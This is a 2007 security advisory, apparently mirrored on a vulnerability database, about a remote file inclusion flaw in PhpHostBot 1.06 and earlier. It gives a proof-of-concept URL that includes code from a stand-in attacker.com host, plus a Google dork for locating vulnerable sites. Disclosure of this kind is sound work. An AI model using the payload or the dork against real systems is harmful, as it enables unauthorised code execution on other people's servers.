PhpHostBot <= 1.06 (svr_rootscript) Remote File Inclusion Vulnerability

🗓️ 08 Aug 2007 00:00:00Reported by RootType

PhpHostBot <= 1.06 (svr_rootscript) Remote File Inclusion Vulnerability etworks with Cpanel(WHM) & supports Paypal subscriptions, free web hosting, Subdomain, and Reseller account setup


                                                ____________________&nbsp;&nbsp;&nbsp;___&nbsp;___&nbsp;________
\_&nbsp;&nbsp;&nbsp;_____/\_&nbsp;&nbsp;&nbsp;___&nbsp;\&nbsp;/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\\_____&nbsp;&nbsp;\&nbsp;&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;__)_&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\//&nbsp;&nbsp;&nbsp;&nbsp;~&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\___\&nbsp;&nbsp;&nbsp;&nbsp;Y&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;\
/_______&nbsp;&nbsp;/&nbsp;\______&nbsp;&nbsp;/\___|_&nbsp;&nbsp;/\_______&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.OR.ID
ECHO_ADV_83$2007

-----------------------------------------------------------------------------------------
[ECHO_ADV_83$2007]&nbsp;PhpHostBot&nbsp;&lt;=&nbsp;1.06&nbsp;(svr_rootscript)&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;Vulnerability
-----------------------------------------------------------------------------------------

Author&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;M.Hasran&nbsp;Addahroni
Date&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;August,&nbsp;7&nbsp;th&nbsp;2007
Location&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Australia,&nbsp;Sydney
Web&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://advisories.echo.or.id/adv/adv83-K-159-2007.txt
Critical&nbsp;Lvl&nbsp;&nbsp;&nbsp;:&nbsp;Dangerous
Impact	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;System&nbsp;access
Where	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;From&nbsp;Remote
---------------------------------------------------------------------------

Affected&nbsp;software&nbsp;description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application&nbsp;&nbsp;&nbsp;:&nbsp;PhpHostBot&nbsp;&nbsp;
version&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&lt;=&nbsp;1.06
Vendor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://www.idevspot.com/PhpHostBot.php
Description&nbsp;:

PhpHostBot&nbsp;is&nbsp;a&nbsp;webware&nbsp;PHP&nbsp;application&nbsp;which&nbsp;integrates&nbsp;with&nbsp;the&nbsp;popular&nbsp;Cpanel(WHM)&nbsp;web&nbsp;hosting&nbsp;control&nbsp;panel.
PhpHostBot&nbsp;supports&nbsp;Paypal&nbsp;subscriptions,&nbsp;free&nbsp;web&nbsp;hosting,&nbsp;Subdomain&nbsp;and&nbsp;Reseller&nbsp;account&nbsp;setup&nbsp;
and&nbsp;supports&nbsp;both&nbsp;dedicated&nbsp;server&nbsp;and&nbsp;Reseller&nbsp;web&nbsp;hosting&nbsp;companies

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

Input&nbsp;passed&nbsp;to&nbsp;the&nbsp;&quot;svr_rootscript&quot;&nbsp;parameter&nbsp;in&nbsp;order/login.php&nbsp;is&nbsp;not&nbsp;properly&nbsp;verified&nbsp;before&nbsp;being&nbsp;used&nbsp;to&nbsp;include&nbsp;files.&nbsp;
This&nbsp;can&nbsp;be&nbsp;exploited&nbsp;to&nbsp;include&nbsp;arbitrary&nbsp;files&nbsp;from&nbsp;local&nbsp;or&nbsp;external&nbsp;resources.
Successful&nbsp;exploitation&nbsp;requires&nbsp;that&nbsp;&quot;register_globals&quot;&nbsp;is&nbsp;enabled.


Poc/Exploit:
~~~~~~~~~

http://www.target.com/[PhpHostBot-path]/order/login.php?svr_rootscript=http://attacker.com/evil?

Google&nbsp;Dork:
~~~~~~~~~~
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;order?page=plan_show&quot;

Solution:
~~~~~~

-&nbsp;Edit&nbsp;the&nbsp;source&nbsp;code&nbsp;to&nbsp;ensure&nbsp;that&nbsp;input&nbsp;is&nbsp;properly&nbsp;verified.
-&nbsp;Turn&nbsp;off&nbsp;register_globals
-&nbsp;use&nbsp;the&nbsp;latest&nbsp;version&nbsp;

Timeline:
~~~~~~~~

-&nbsp;27&nbsp;-07&nbsp;-&nbsp;2007&nbsp;bug&nbsp;found
-&nbsp;4&nbsp;-&nbsp;08&nbsp;-&nbsp;2007&nbsp;vendor&nbsp;contacted
-&nbsp;7&nbsp;-&nbsp;08&nbsp;-&nbsp;2007&nbsp;advisory&nbsp;released
---------------------------------------------------------------------------

Shoutz:
~~~~
~&nbsp;ping&nbsp;-&nbsp;my&nbsp;dearest&nbsp;wife,&nbsp;zautha&nbsp;my&nbsp;little&nbsp;son,&nbsp;for&nbsp;all&nbsp;the&nbsp;luv&nbsp;the&nbsp;tears&nbsp;n&nbsp;the&nbsp;breath
~&nbsp;y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative,&nbsp;str0ke&nbsp;(for&nbsp;the&nbsp;best&nbsp;comments)
~&nbsp;masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~&nbsp;SinChan,h4ntu,cow_1seng,sakitjiwa,&nbsp;m_beben,&nbsp;rizal,&nbsp;cR4SH3R,&nbsp;madkid,&nbsp;kuntua,&nbsp;stev_manado,&nbsp;nofry,&nbsp;x16
~&nbsp;[email protected]
~&nbsp;#aikmel&nbsp;#e-c-h-o&nbsp;@irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;K-159&nbsp;||&nbsp;echo|staff&nbsp;||&nbsp;eufrato[at]gmail[dot]com
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Homepage:&nbsp;http://k-159.echo.or.id/

--------------------------------&nbsp;[&nbsp;EOF&nbsp;]&nbsp;----------------------------------

08 Aug 2007 00:00Current

7.1High risk

Vulners AI Score7.1

PhpHostBot &lt;= 1.06 (svr_rootscript) Remote File Inclusion Vulnerability

PhpHostBot <= 1.06 (svr_rootscript) Remote File Inclusion Vulnerability